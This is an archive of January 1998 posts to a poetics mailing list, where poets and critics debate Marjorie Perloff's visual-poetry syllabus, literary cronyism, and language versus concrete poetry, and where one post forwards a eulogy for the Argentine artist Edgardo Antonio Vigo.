Where do you draw the line between criticism and blurbs is a good question, though. My answer would be: if it's written by a friend, it's a blurb; if it's written by a not-friend, it's criticism. It's all a name game, old thing - merit is the least transparent and translatable of values, unless you're Terrell Davis, that is. Silence cunning & exile was the motto of the same writer who kept up a near constant epistolic litany of demands, entreaties, etc., for the favor of publishers, the assistance of friends and even used pairs of shoes.

Patrick Pritchett

From: Henry Gould
To: [redacted]
Subject: Re: Perloff debate
Date: Tuesday, January 27, 1998 9:31AM

I AM SO SORRY to write TOO MUCH to this list. I am a list hog. Nevertheless
another brief wooden nickel on this issue.

People jump on Grumman for criticizing Perloff's syllabus. Who is immune from criticism? The academy IS powerful. It's a machine. Marjorie Perloff is a friend of poetry because she has a gusto for new, experimental writing. That is just terrific, no doubt about it. But let's look at the "down side". Isn't there something of a conflict of interest, a sort of nepotism, for a working scholar-critic to promote the work of living artists who ALSO depend on the academy for readings, jobs, fellowships & the like? Perloff of course is not alone. Nor is poetry alone (this happens in all the arts, I guess). I don't want to pick on anybody, especially for getting into contemporary work. But where do you draw the line between criticism and blurbs? I thought avant-garde meant challenging. The best way to be challenging is to challenge yourself. By standing on your own 2 feet. No cozy relationships, no buddy-buddy, no easy praise, no networking, no po-biz, no bullshit. That's the ideal. It requires a modicum of silence, exile & cunning, doesn't it? HOW MUCH OF WHAT WE ARE DOING IS A SMALL PRESS VERSION OF THE NAME GAME? (get out your flagellation- cat o'nines, everybody) (the only absolution is to actually look into some stuff, get into it, read it, understand it, research it, dig into it)

- Henry Gould, a chip off the old block

p.s. I can hear all the replies already. "There is nothing wrong with pushing as hard as you can the work you believe to be excellent & moves you & & ...."

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866. Charles Watts
Re: bill bissett reads at SFU Monday,
Tue 27 Jan 1998

Miekal and all,

I did quickly browse around on netscape and came up with the following:

http://130.179.92.25/canlitx/Framed_Version/CanlitF.html

This is the "framed version" of the Canadian Literature Archive, via the Canlit homepage from U. Manitoba. The Canlit homepage url is

http://canlit.st-john.umanitoba.ca

If you try the first url and land on the Canlit Archive page, you can scroll down and click on "Canadian Writers on the Web," scroll down the other frame past such as David Arnason, Margaret Atwood, Henry Beissel, etc., till you get to bill. You'll find when you click on his name that a nice photo appears; the

bissett site is under construction, so there isn't much on him or his work, but more is promised, and they do have some poems of his on audio if you're set up for sound.

I gather that Dennis Cooley and David Arnason are supervising the Canadian writers' homepage; you can find e-mail addresses for both if you want to direct specific questions about the site or specific writers.

> *charles watts*
>
> *can you point us to any online bissett resources? >*

--
Charles Watts
Theses and Special Collections
Special Collections & Rare Books
Room 7100, Bennett Library
Simon Fraser University
Burnaby, B.C. V5A 1S6
Tel: [redacted]; Fax: [redacted]
E-mail: [redacted]

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867. Miekal And
Nitpick Pearl Off
Tue 27 Jan 1998

Douglas wrote:
>
> Bravo Marjorie!!
> I've never seen so much ado about the syllabus of someone
> else's course! I've found it all so pointless. Those that
> disagree should teach their own courses, or write their
> own articles, or produce their own work. The constant
> cavilling, nit-picking commentary is really quite disgusting.

Mr M

It is revealing that you term a much needed discussion of visual poetrys relation to poetics, academics, economics, distribution & media "disgusting"....if you read the well over a 100 posts carefully (think Ive read each in detail), very little of the posts concern themselves with the infamous Perloff syllabus, tho many use it as a relevant & pointed metaphor for the politics of the literary machine.... No one has condemned MPs work as a teacher or writer & if Im recollecting correctly most of us have spoken how highly we regard her work. This discussion has been conducted with respect to all parties involved....I feel like

there has truly been a spirit of looking under the rug, saying what isnt being said, & overall I find these posts most provocative & have been desemimating compliations of various post on visual poetry to a number of other lists in order that the discussion goes cross channel, outside this cozy little enclave.

Mr A

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868. **henry**
Re: Perloff debate
Tue 27 Jan 1998

Thank you, Patrick, for your post. I can't quite tell if you're being ironic, tongue-in-cheek, or not. But whether or no, I think by getting it all backwards you go backwards to the heart of things.

Your characterization of the worldly world of "cultural production" makes me laugh. Is this what Emily Dickinson meant when she said Publication = Prostitution, or something to that effect?

I don't know about other people's methods, but when I'm involved with a poem the idea of having anything venal or collaborative to do with anybody else is distracting, to say the least. & I see the buddy system & po-biz as a positive danger to independence, standards, and taste. Doesn't this go for any vocation, just about? Why is literature any different? Mandelstam: "there are 2 kinds of literature, official and unofficial. The 1st is trash; the 2nd, stolen air." Beware that your slimy blurbs eat you alive in the trashbin of your own making.

Stolen air. This is a definition of poetry. It's not the "worlds" of commerce, business, etc. etc. that you mentioned - it's their sanction or their judge. (By the way, I consider my fairly broad experience OUTSIDE the literature game to have its plus & minus aspects - one of the positive being the armor it provides. My approach is not naive whatsoever; actually, I think yours is - if you were not joking).

It is possible to write poetry, send it to journals & publishers, write essays, and find friends, allies and supporters, without sucking up, bullshitting, and betraying your principles. You may become a highly-acclaimed false prophet & bad poet eventually - or you may languish in honest obscurity. But you don't have to be a dog.

- Henry Gould

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869. **groberts**
Re: vizzzipo schtuff
Tue 27 Jan 1998

Maria's mention of bpNichol and her remark that "visual poetry" is like any category-- when you really examine it you see how porous it is>> among her other useful comments open up the doors which have been slammed shut in all the discussion of marginalization and canon, and for this I am grateful even if the vizpo thread has carried on for longer than most. Much has been said about visual poets, but I would also like to hear more about artists who use poetry. Blake and Patchen are obvious examples, as are so many Chinese painter-poets. The line of difference between visual poets and textual artists is not something that I can draw, though if I were foolish enough to try I would probably start with the matter of whether Herriman's dialogue balloons in Krazy Kat contain poems, and then look at Philip Guston's poem-pictures. In 1994, I was lucky enough to catch a small exhibit of these at the Addison Gallery in Andover, Mass. Don't know if the catalogue from Univ of Washington Press is still in print, but it rewards repeated thumbing through. The collaborations with Clark Coolidge, are especially good, and provide another look at the obscene materiality of representation which Scott Pound has underlined. One of my favorite lines in them addresses several issues about writing alluded to in the vizpo thread:"To draw is to make be/more than one start....." But alas tapping buttons cannot convey the art of these inscriptions, which for all their coarsenss hold onto the hand-made grace of Twombly's graffiti. Are ther other such poem-pictures in which not typography but drawing predominates? Perhaps some of the visual poets already named draw their poems, but would someone be willing to name them again for those of us not familiary with their work. The theoretical questions about whether fonts are drawings, whether collage is a kind of drawing, whether icons are texts, etc., do not need to be answered in advance of the preliminary sorting that I am asking for, I hope....though I would find the asking of such questions at least as interesting and important as the inclusion/exclusion aspects of the topic.

Gary R.

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870. **William Marsh**
Re: Part II, fri.night po's etc
Tue 27 Jan 1998

tom -- i'm wondering what you think of all this, particularly the stuff below on "lines as perceptual units" and "intonation contours"

At 11:43 PM 1/26/98 -0600, tom bell wrote:

Reuven Tsur:
>"Just as the graphic arrangement on the page presents the
>lines as perceptual units to the eye, the intonation
>contours heard in the reading of poetry present the lines as perceptual units
>to the ear. Such contours are the result of the
>interaction of the intonation contours required by prose rhythm with those
>that articulate the line. It is assumed that the listener
>decodes these contours in terms of the intonation contours from whose
>interplay they arise. In fact, the main function of the
>graphic arrangement on the page is to give the reader instructions
>concerning the intonation contours appropriate to the lines.
>In this respect, the verse lines with the white space around become rather
>transparent graphic signs of phonological entities:
>just as the letters on the page signal phonemes, the verse lines surrounded
>by white space signal intonation contours (cf. Tsur,
>1977: 119; 1992 a: 174-175). They only begin to compete for the reader's
>attention and reassert their warring identity, when
>they are foregrounded by some "mannerist" device: acrostic, or some mimetic
>arrangement.

while i'm a bit intrigued by the "warring identity" suggested in the last line, this all seems a bit simplistic and narrow to me / what kind of "reader instructions," for example, are given by a one-word or one-letter line -- how would either be "intoned" in accordance with "intonation contours required by prose rhythm," the latter itself a suspect qualification / i think there's something to be said for thinking of lines as "contours" (for ear or eye) but the idea of lines as "transparent graphic signs for phonological entities" seems widely off the mark / even contradictory, for how can graphic signs be "transparent" in any sense? / seems to me that as "perceptual units" (accepting that terminology) letters, words and lines are continuously *shape-shifting* between phonological and graphic contours -- seen/heard in a wavy dance that joins eye and ear / also, the spatial relationship implied by "verse lines with white space around" seems to go to the hear-it of the matter: why not white space *overlayed* or *imprinted* with verse lines to suggest the space was there first as a visual field before the lines were drawn on

this takes the passage perhaps too far out of the "picture poem" focus the rest is concerned with, but i couldn't get past these early equations

bill

- -
William Marsh

PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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871. **k. lederer**

Originality in the young, hypocritical stance of the old, machismo

Tue 27 Jan 1998

Rachel,

Yes. I completely agree with you. The Barthes quote was, of course, a response to two issues on the list:
1. "Where are all the "new" young writers?" and
2. Dale Smith's critiques of langpo

So yes, theoretically, according to Barthes, everyone is "new"--alone, original. The issue you raise about the glorification of the "original" writer--of style--is the critique I was hoping to launch against the older langpo types who criticize young writers for being unoriginal. These older thinkers (among them Tuma, Silliman etc) are wanting something "new" from a group of young writers--perhaps they don't want new styles, per se, but new politics-- But even still, I find such demands strange (and hypocritical) coming from thinkers who claim to believe that poetry should counteract fascism--aesthetic, intellectual, emotional, sexual etc. I've always taken this belief to mean that the emphasis is on political awareness via or in regards to the practice of writing--the insistence that anybody can write and thus participate in the larger socio-cultural discourse(s). I never really bought Silliman et al, though, because it seemed to me that they did in fact want that special kind of glory that comes with being a star--with being an "original" writer--a "brilliant" intellectual. In my view, writers like Lyn Hejinian, Carla Harryman, and Leslie Scalapio are far more true to the "tenets" of langpo that have to do with "socialist" approaches to writing--writing as participation in the sociopolitical, rather than as glorification of the individual through the lyrical display of sensitivity and accumen.
Such a charge has been launched at Silliman et al by a lot of people--but I just wanted to say that I agreed with your point--and that this was the same point I was trying to make in an effort to admonish those older writers who believe it their place to "scold" us younger writers about originality. It seems to me that

the fact that young people are writing (and thus engaging in the body politic as well as the body aesthetic) should be enough--that these older writers should just face the fact that their own stated poetics in some sense preclude them from making aesthetic judgement about young writers... Similarly, though, the point you make also serves to critique Dale's points about langpo, because Dale is demanding that langpo writers fulfill some sort of socio-aesthetic contract between themselves and their audience that, according to Barthes,is impossible to fulfill because of the very solitude of the writer--regardless of what his or her stated goals about style may be... I hope I'm making sense here. I suppose I just think that bad reviews (of young writers, of langpos) are a waste of time. That what is fruitful is a discussion of those styles that, perhaps, bridge some kind of gap enough to make us feel a little bit less "solitary"--both intellectually and aesthetically... That what is most interesting to hear about is how someone's style strikes us as more than individual (though not necessarily "universal")-- It just seems so "easy" to disagree with styles that seem far from our own--

Yours,
Katy

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872. **Douglas**
Re: The Perloff Seminiar
Tue 27 Jan 1998

Bravo Marjorie!!
I've never seen so much ado about the syllabus of someone else's course! I've found it all so pointless. Those that disagree should teach their own courses, or write their own articles, or produce their own work. The constant cavilling, nit-picking commentary is really quite disgusting.

Douglas

Marjorie Perloff wrote:
>
> I feel like Alice in Wonderland--curiouser and curiouser--as I read these
> posts about "my" seminar, mostly totally speculative.
>
> All the sinister things attributed to me and to the course seem to have
> nothing to do with reality. So here's a little reality check, gang.
>
> the Stanford English dept, as Maria, a star graduate well knows, is not
> given to having many grad courses in poetry: mostly it might be Pound &

> Eliot, sometimes (Al Gelpi), Black Mountain, sometimes (gil
> Sorrentino)--Williams and very occasionally the Objectivists. John
> Felstiner teaches courses that include Lowell, Bishop, etc.
>
> There has never been a course in visual poetry, concrete poetry, sound
> poetry or any thing similar in the 10 years I've been here. Most of my
> colleagues don't know what "concrete poetry" is, never mind post-concrete,
> materialist poetics, or any related item. One of them asked me what an
> artist's book is.
>
> In these circumstances--quite typical, by the way--I thought it might be
> fun to organize a course that would stress the visual elements in poetry
> and look at some of the new work. So I picked representative texts from
> Apollinaire and Pound on down, beginning with the CALLIGRAMMES and
Pound's
> ideograms. I could have easily picked 10 alternate lists. For instance:
> I'm sorry I'm not doing Duchamp whose visual poetics are very important to
> me. I picked Darren Werschler-Henry because I think NICKELODEON is an
> exciting, innovative book but I might just as well have picked Christian
> Bok's CRYSTALLOGRAPHY, which I love. I chose books that I find
> interesting. I do think as the professor, that's my right. Courses are
> not advocacy forums but designed to TEACH.
>
> So who is Bob Grumman to tell me my course is not REALLY about visual
> poetics? What does this mean? If Bob teaches a course than obviously he
> can choose his texts. He might not choose the OUT OF EVERYWHERE an-
thology
> which I love (and which certainly has visual poems in it--see the Diane
> Ward, for example) and that would be his privilege. But obviously any
> course is personal; there's no such thing as "coverage".
>
> I hope this is the end of this thread because I find it so
> counterproductive. And also coercive: how can anyone tell anyone else
> what works they should/must teach?
>
> Marjorie Perloff

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873. Dale M Smith
the key
Tue 27 Jan 1998

Hear, Hear Blarnes. Thaht's a fust rate example of sweet lyruk radiance. Come ovah some tiime for a cool mint julep.

youhs troolee,
Stet Luvrhyme

To: [redacted]

THE KEY (IS THE FLEA)

a formulaic ode in tractor-trailertylic hexametres

for Marquis Louis Fortinblatt-Hohenzollern du Pwints

"Expedient execution of subject matter is key,"*
quoth splendiferous Louis the 16th to the flea -
aloft in voluminous hammock at Versailles,
fleas under his legs, mosquitoes in the sky,
unable to read LIAISONS DANGEREUSES
for all the nipping at his privateuses.
"Bring me a heavier novel!" cried the King,
unable to withstand said cruel sting
a moment longer. They brought him DON QUIXOTE,
which forthwith he deployed upon his pinky
(the 3rd) - and thus, expediently, my dear Marquis,
saved France from another flea-bitten monarchy.

- Eric Blarnes

*from Dale Smith posting to Poetics List, 1.27.98

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874. Joseph Conte
Jed Rasula
Tue 27 Jan 1998

I'd ask Jed Rasula if I could, but does anyone listward have a full bibliographical citation for his recent _American Poetry Wax Museum_?

You can reply to me back channel.

Joseph Conte
--

Joseph M. Conte [redacted] x1009
Associate Professor and FAX: [redacted]
Director of Graduate Studies
Department of English
306 Clemens Hall
SUNY at Buffalo
Buffalo, NY 14260-4610 http://writing.upenn.edu/~jconte/

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875. **Miekal And**
Re: The Perloff Seminar
Tue 27 Jan 1998

Aldon Nielsen wrote:
>
> I deeply resent the fact that nobody has denounced any of my syllabi.
> Surely this is a sign of . . . something.

aldon

youre a hoot

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876. **Henry Gould**
Re: vizzzipo schtuff
Tue 27 Jan 1998

Guston is great. I didn't know about these collaborations with Coolidge.

Maine poet John Tagliabue has done some neat poem-painting collaborations with his wife Grace over the years. The poems swirl into watercolors.

- Henry Gould

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877. **Miekal And**
The World's Largest Popcorn Ball
Tue 27 Jan 1998

Real life visual poetry can be found at

The World's Largest Popcorn Ball

http://www.mcs.net/~sjboyle/bigball.htm

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878. **KENT JOHNSON**

Pores of genre

Tue 27 Jan 1998

On Jan 27, Maria Damon wrote, helpfully, on the "visual poetry" discussion (excerpt):

> *so, like, i'm not really completely sure what visual poetry is, though i have a pretty good idea, is it stuff like concrete poetry? .... i guess it's like any category --when you really examine it you see how porous it is, tho there's a general consensus about what constitutes the critical mass of "vispo" stuff. or maybe not, no consensus, evidenced by the buzz on this list.*

Gary Robert's post picked up nicely, too, on this issue of cross-genre porousness.

I thought I'd re-post here Clemente Padin's eulogy for Edgardo Antonio Vigo (originally forwarded by Robert Drake early last December). Padin, from Uruguay, is one of the leading figures in the "visual poetry" movement on a world scale, and the Vigo tribute confirms, I think, that Maria and Gary are right about the "porousness" of the "visual" designation. Padin's piece _also_ confirms quite eloquently, if confirming is needed, that the field of current work that tends to be discussed on this list is only a small and local corner of "forward-looking" poetic practice and possibility-- indeed, compared to the decidedly genreless spaces which poets (that most porous of words) like Vigo inhabit, our corner may well strike future observers as relatively institutionalized and staid.

It's a good thing, and who could argue otherwise, that someone like Marjorie Perloff has used her seminar as a tentative window onto a too-little known dimension and tradition of language practice; it is also a good thing, as I see it, that Bob Grumman has stuck his neck out to say (twenty times or so) that Marjorie's syllabus is only a snippet from a very rich and underappreciated international current of poetic-semiotic labor-- a current whose constant inventiveness in the face of obscurity and scorn is evoked (somewhat movingly, at least to me) in Padin's post below.

Bob has said that a number of the poets on Marjorie's syllabus have a relatively peripheral relationship to this visual-conceptual tradition and I don't see how anyone could argue with that. Marjorie herself, I think, would agree. If Bob now can say that his protracted point-making has been, at bottom, a tactical and comradely intervention (one which has done, Bob, a worthy job), probably those who wish to can now pull up chairs to a more theoretical discussion of the "visual"? A few posts have already moved in that direction. I, for one, am eager to learn more.

Here is Padin's memorial to Edgardo Antonio Vigo:

Forwarded message:
From: [redacted] (Clemente Padin)
To: [redacted]
Date: 97-12-03 05:29:31 EST

Please, pass on this text:
EDGARDO ANTONIO VIGO: Aspiration to Freedom

Clemente
Padin

Edgardo Antonio Vigo, aged 70, died in La Plata, the city of his birth. Vigo was an engraver, experimental poet, conceptualist, constructor of "objects-without-use" and "oddmachines," a constant innovator whose only recently discovered work keeps on surprising, given the almost ineffable character of his projects. He also cultivated forms that until now have been considered sub-artistic or simply not thought of as "art" in the vernacular sense of the term, such as mail art and experimental poetry.

In Vigo's work can be seen influences of Marcel Duchamp-we recall Vigo's film Blanco sobre Blanco (White on White), shown on the spectators' backs, and the "ready-mades" he constantly sent his friends-and, above all, of Macedonio Fernandez, not only in his irreverent attitude but also in his long and contradictory titles and paratexts. From both, Vigo took the ludic attitude of play, making the spectators participate and desacralizing the work of art through manipulation and co-creation, to the point that he preferred to speak of the "creative-constructor" instead of the "spectator," trying to make of artistic creation a multiple act, not something individual and solitary.

Born in La Plata in 1927, Vigo enrolled in the School of Fine Arts of the La Plata University in 1950 and, in 1953, he went on a scholarship to France where he met the Venezuelan artist Jesus Soto and came into contact with the international avant-garde. In 1954, on returning to his country, Vigo exhibited wooden objects that already foretold his later tendency towards an art of popular participation. He was an important magazine editor, publishing Diagonal Cero (1961) and Hexagono 70, which featured "novisima" poetry-what he liked to call visual poetry-together with the subsequent Nuestro Libro Internacional de Estampillas y Matasellos (Our International Book of Stamps and Postmarks) with original stamps and postmarks by artists from around the world (artistamps and rubber stamps). These are considered paradigmatic of what is known today as "artists' books." In 1965 Vigo exhibited his first "useless machines," such as the Palanganometro Mecedor para Criticos de Arte (Palaganometer Rocking Chair for Art Critics) and the Bi-Tri-Cicleta Ingenua (Ingenuous Bi-Tri-Cycle) that was

heaped with vernacular criticism, initiating a long silence that lasted until the 1990s. But, the alternative scene in France, 1967, published his Poemas Matematicos Barrocos (Mathematical Baroque Poems) and the next year his Poemas Matematicos Incomestibles (Mathematical Inedible Poems) (an object enclosedbetween two empty tuna cans soldered together). Also, in 1968, in La Plata there appeared his first traffic light, Manojo de Semaforos (Bunch of Traffic Lights). This consisted of analyzing from the aesthetic and creative point of view the traffic signals located in the intersection of First and Sixtieth Avenues in La Plata. Presenting an anonymous and useless element in its specific function (stressing an ironic urban commentary) this project sought to initiate a specific dialogue with an abstract content. The public invited to participate were to develop their ideas using the minimal keys given by the artist, who wasn't there. The proposal was to subtract out all prejudicial contact in order to generate an action in freedom.

In issue 11 of the magazine Los Huevos del Plata (1968) there appeared Vigo's New Avant-Garde Poetry in Argentina and experimental poems by Jorge de Luxan, Carlos Ginzburg, Luis Pazos, and his own. Here is found the second break with the lyric tradition in Argentina (the first was in the 1930s, under the sign of Ultraism).

From the mid-60s, Vigo was a proponent of conceptualist tendencies in Latin America, above all the Conceptualism applied to undoing the mechanisms and instrumentation of the work of art and its relation to its spectators, not the Conceptualism of Kosuth's "Art is the definition of art." Vigo emphasized the self-referential qualities of the work that not only promoted ambiguity (the possibility of extreme polysemy) but also the possibility of the choice of the spectator in the final selection of meaning, causing him to be considered as co-author of the work itself. Vigo's project in this sense was crystallized in Poetry to and/or Realize, through which he tried to get the spectator to participate in the "constructive activation with which it is possible for the consumer to pass over to the category of creator" (From Process Poetry to Poetry to and/or Realize, Diagonal Zero, La Plata, 1970). Vigo continued with the I Expo de Proposiciones a Realizar (I Expo of Propositions to Realize) in 1971, which took place in the Cayc, Centro de Arte y Comunicacion (Art and Communication Center) of Buenos Aires, where, together with works received from all around the world, were brought together the artists Wlademir Dias-Pino (creator of Brazilian Process/Poem), Guillermo Deisler (the late Chilean visual poet), and the Uruguayans Francisco Accame (musician and sound poet), and myself.

On one of his first visits to our country, Vigo realized-during the "Exhibition of Avant-Garde Publications" organized by the magazine OVUM 10 in the Hall of the University of the Republic on September 30, 1970, the proposal "Demagogic Poem," a parody of the election process. Votes were cast in an urn with a

round opening. The ballots were nothing but forms distributed by the performer in which the participant-creator was asked to express whatever he wanted, and then Vigo put the ballots, not folded but rolled up in the form of cylinders, into the special container.

At the beginning of the 1970s, Vigo joined the new currents of mail art, becoming one of its most regular creators until the day of his death. The military dictatorship of his country struck hard, causing one of his sons to disappear. Because of this disgraceful act, Vigo's work took on a strongly political character such that his contacts with foreigners were augmented, spreading the word about the brutal repression and crimes against humanity of this ferocious dictatorship. From this period came his work Trelew (1974), in memory of the 16 revolutionaries assassinated in the Trelew jail in southern Argentina on August 22, 1972. On each page of the book is a representation of each fallen body. From those sad moments Vigo lent his talent to the mobilizations of the "Mothers of the Plaza of May" (his collective visual poem "Sembrar la memoria" [To Seed Memory] was emblematic, realized in the large popular event "Everyone or No One" that the group "Ezcombros" organized in La Plata on December 9, 1995). In his last years, Vigo's work turned towards the light; he exhibited individually in the Tan Telmo Foundation (1991), where he had a retrospective show of his major works. In 1994, he was selected to form the Argentine section to the XXII Biennial of Sao Paulo, Brazil, thereby achieving world recognition in this area.

To conclude, allow me to include these words of Vigo's taken from his public declaration of 1968,"An Art to Realize," that will give us a more accurate idea of his project:

"Towards a touchable art that breaks in the artist the possibility of the use of "rotten" materials to the extreme that they produce the alienation of the hand of the observer -simple form of perception- that will stay in this position without the "epidermal" participation of the thing. Through use of "base" materials and for a delimiting quotidian context of the content. A touchable art that rejects the possibility of satisfying an "elite" that the artist has been forming to his regret, a touchable art that can be located in any home and not enclosed in Museums and Galleries. An art with mistakes that alienates the exquisite. Taking advantage to the maximum of the aesthetic of "surprise," through "occurrence" -primary act of creation- to be converted -already in for the masses form- into involving movements or for individuality congruence of intentionality-, in attitude. An art of expansion, of atrape for the ludic way, that facilitates active participation of the spectator, the absurd way. An art of signaling so that the quotidian escapes to the unique possibility of the functional. No more contemplation without action. No more exhibition without presentation. Where inert

material, stable and fixed, takes its movement and necessary change so that the image is constantly modified. Finally: a contradictory art."

Only with some difficulty have I been able to touch on all or even some of the facets and dimensions of this indefatigable creator, barely able schematically to redeem Vigo's attitude towards art and the society in which he lived and suffered. This artist subjected himself only to his own rules. All his life he was guided by ideas having to do with freedom. His work will last as long as there exists in people this desire for liberty that he tried to keep fresh by confronting the split of choosing between the various possibilities of signification (including that of altering meaning) that his works offered, thereby concretizing through that choice our deepest nature: the aspiration to freedom.

Montevideo, Uruguay, November 12,
1997

---

frat
ernally,

Clemente Padin
C.Correo Central 1211
11000
Montevideo
URUGUAY Fax (598) 2 915 94 17

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879. **Scott Pound**

Re: HUBRISTIC, SIMPLISTIC ASSESSMENT OF VIZPO NEEDS COUNTERING

Tue 27 Jan 1998

> *"The concept of a poetic form must respond to the conditions of the modern world and to an understanding of how that world functions. Not all "new" verse forms are equal to the task of confronting reality. Poets may correctly observe that theirs is a printed medium requiring the extended concentration of the reader; and they may also observe that the audiovisual media that now dominate our culture offer an almost instant gratification that barely requires the attention of its audience at all. Thus some poets have devoted their energies to producing concrete or "visual poetry" that could easily be flashed on a video monitor, or they have composed "sound poetry" that can be chanted like a mantra, recorded, spliced, or broadcast over loudspeakers in some public forum. But in my opinion such poetic forms seem too much to bear the stamp of their reality. They are formal effects that seem not so much devised by the poet as thrust upon him by the exigencies of his condition. They reflect a world that has grown too impatient to tolerate the "defamiliarization," the increase in the "difficulty and length of perception"*

> *that Victor Shklovsky argued poetic language ought to pursue. Such forms do not confront or interpret contemporary reality; they submit to it.*"

I'm not sure if Joseph would stand by this paragraph today. He might.

I say:

Poetic form is NOT _a concept_, even though most critics must treat it as one in order to say much about it, AND since when is it the job of form to reflect an _understanding_ of the world?

Taken together, concepts and understanding are devices that seek to hypostasize the world, arrest it, frame it, put it under glass. They're the critic's tools NOT the artist's.

Better to hear Nietzsche out: "understanding kills"

It's bewildering to me how a poem could _too much bear the stamp of [its] reality_, as if that meant such work was too real, not dead enough yet, to be bothered with.

his condition?

contemporary reality?

Who's?

Where?

Here comes the world,

turn off the tv.

Interrrrrrrrrrrrpreeeeeeeeeeeeeeet iiiiiiiiiiiiiiitttt!

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880. **Maz881**
Re: vizzzipo schtuff
Tue 27 Jan 1998

Dear Spound,

You post kind of jibes with my theory of what langpo is if we may say it is something, adds up to something, and we are probably better off saying not. But since I've sort of enjoyed everyone's reductivity lately, I will join y'all. Langpo is a theory of vizpo. Langpo fails as material writing. I've never read a langpo poem that made me feel the matieriality, free floater, what not, of the signifier. Material writing is impossible. The best you get in this slant from langpo is a self-referential grunty fen, which is an idea of the material, a theory for doing vizpo. But good vizpo is material something, not exactly writing. but what you said Scott.

BillL

Date: Mon, 26 Jan 1998 23:06:18 -0500
From: Scott Pound <[redacted]>
Subject: Re: vizzzipo schtuff

Well done Bill. As one who has traded many quips and folded many bits of paper and fused hips in front of computer monitors and trucked over to Joel's house to do more of the same--with Joel and Bill and others I _can_ relate to _materiality_ and all the staring and listening it takes to really _see_ and _hear_ and _make_ poetry not merely visual but real. Something.

But the meism of this debate gets tiring after a while. No one has really come out and said why vizpo matters, if it does. For meikal and bob the answer is implicit in their years and years of work. It's hardly for them to say. As Pound used to say to a young McLuhan: "all the answers to your questions are in the first 80 Cantos." Others genuinely wonder, as Joel says, what the fuss is about.

I read much of the growling and pissing, the territoriality that has come to the fore, as a symptom of something worth pursuing in a less ad homenim way because there is a real difference at stake between langpo and the concertistes which explains meikal, bob and company's irritation at the two being conflated in Marjorie Perloff's syllabus.

Aside from the absurd implication that a langpod can't be a vizpot (_Veil_ is as worthy a part of the vizpot corpus as anything), there is the question of what separates the two modes of writing. And I would use this rift to raise exactly that question. The term materiality (or some derivative thereof) has been used to describe the work of both the langpods and the vizpots.

In some usages, notably that of Dale Smith's rabid attacks, materiality seems to connote decadance, a kind of super-literariness that entails a high quotient of reflexivity and dialectical highjinx (pace Silliman, Watten, Bernstein). This I would situate as a kind of dialectical materialism in which the material of the poem is the result of putting an obscenely wide lens in front of the poet's gaze on things. This practice explodes (for one) the notion that the work of the poet is one of selection and subtle taste in the fine matters of living. I would cite Ron Silliman's work of the _Ketjak_ _Tjanting_ period where anything can and does pass through the poem (shitting, waiting for the bus, eating, fucking, etc.). There is the poem's indiscriminate preoccupation with matter as a site of poetic possibility and there is an ironic residue of decadence to that, a Duchampian decadence. I qualify this as dialectical because, in addition to this preoccupation with materiality, there is the supplemental dimension of what is at stake in putting that kind of raw, unformed material IN A POEM. There is paradoxically an extremely high degree of consciousness in that kind of work, the same high

degree of consciousness that informs Duchamps ready-mades; as brute and bold gestures, they are nonetheless extremely sophisticated.

There are those that believe Duchamp challenged the sanctity of art with his ready-mades. I believe he did the opposite, he reinforced it, for the same reason that the langpods extending the limits of the poem reinforces that sanctity of the poem as a capacious entity (kinda like Walt Whitman). So you can call that materiality of you want; I regard it as an infusion of matter into the ever-virtual sphere of the poem. Nothing wrong with that in the least, as long as we remember that it is a nominal materiality that is at work there.

Materiality in poetry SHOULD mean works that brush up against the limits not of _the poem_ but of the real. That is what the best concrete vizpot does. It does not thematize matter; it challenges the audience to view letters and words as real things with a domension and duration all their own, not merely as indices in an overdetermined virtual world of meaning.

There is great beauty and courage in work that is willing to forsake the ready-made structure of phonetic literacy and put letters in the service of creating spaces and temporalities that outstrip anything the alphabet was designed to contain and control.

I salute meikal and bob and all the other concretists on this list for their work. I got my eye on you.

It's late (for me) my salt bath is ready. Grind on.

Scott Pound

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881. **Maz881**

Re: HUBRISTIC, SIMPLISTIC ASSESSMENT OF VIZPO NEEDS COUNTERING

Tue 27 Jan 1998

Dear Aviva,

Mr. Acounte should have taken into account that shklovsky was including the russian futurist project (visual and sound poetry) when he (V.S.) wrote those (now hackney'ed) lines.

BillL

Tagline = "Last night I dreamt of some bagel" --Madonna, Spanish Lullabye ---------- """"They are formal effects that seem not so much devised by the poet as thrust upon him by the exigencies of his condition. They reflect a world that has grown too impatient to tolerate the "defamiliarization," the increase in the "difficulty and length of perception" that Victor

Shklovsky argued poetic language ought to pursue. Such forms do not confront or interpret contemporary reality; they submit to it."""""" -Comte

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882. **d powell**
Re: the whole world's neglect
Tue 27 Jan 1998

That "noone listens to poetry" is the underlying
>problem
>here.
>Jonathan Mayhew

I tried to listen to visual poetry but the only sound it made was a kind of crumpling...er, crinkling

This is merely my fact, not a concrete opinion.

Doug

==========
=====
D A Powell [redacted]
==========
=====
>----------
>Return-Path: <[redacted]>
>Delivered-To: [redacted]
>Received: (qmail 27214 invoked from network); 27 Jan 1998
>18:46:49 -0000
>Received: from deliverance.acsu.buffalo.edu (128.205.7.57)
> by herring.com with SMTP; 27 Jan 1998 18:46:49 -0000
>Received: (qmail 9420 invoked from network); 27 Jan 1998 17:40:56
>-0000
>Received: from listserv.acsu.buffalo.edu (128.205.7.35)
> by deliverance.acsu.buffalo.edu with SMTP; 27 Jan 1998 17:40:56
>-0000
>Received: from LISTSERV.ACSU.BUFFALO.EDU by
>LISTSERV.ACSU.BUFFALO.EDU
> (LISTSERV-TCP/IP release 1.8c) with spool id 27364863
>for
> [redacted]; Tue, 27 Jan 1998
>12:40:53 -0500
>Received: (qmail 21242 invoked from network); 27 Jan 1998
>17:40:47 -0000

>Received: from utxdp.dp.utexas.edu (128.83.216.11) by
>listserv.acsu.buffalo.edu
> with SMTP; 27 Jan 1998 17:40:47 -0000
>Message-ID: <[redacted]>
>Date: Tue, 27 Jan 1998 11:35:17 CST
>Reply-To: UB Poetics discussion group
><[redacted]>
>Sender: UB Poetics discussion group
><[redacted]>
>From: Dale M Smith <[redacted]>
>Subject: the whole world's neglect
>To: [redacted]
>
>

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883. **pritchpa**
Re: Perloff debate
Tue 27 Jan 1998

My dear Henry, let it not be said that you ever passed up a chance to grab the moral high ground. Imagine my relief on learning that I don't have to be a dog! "Attention New York: cancel those dozen long-stems to Alice Quinn!" Cronyism is what's deplorable when others are able to use it to their advantage but great when it works to one's own.

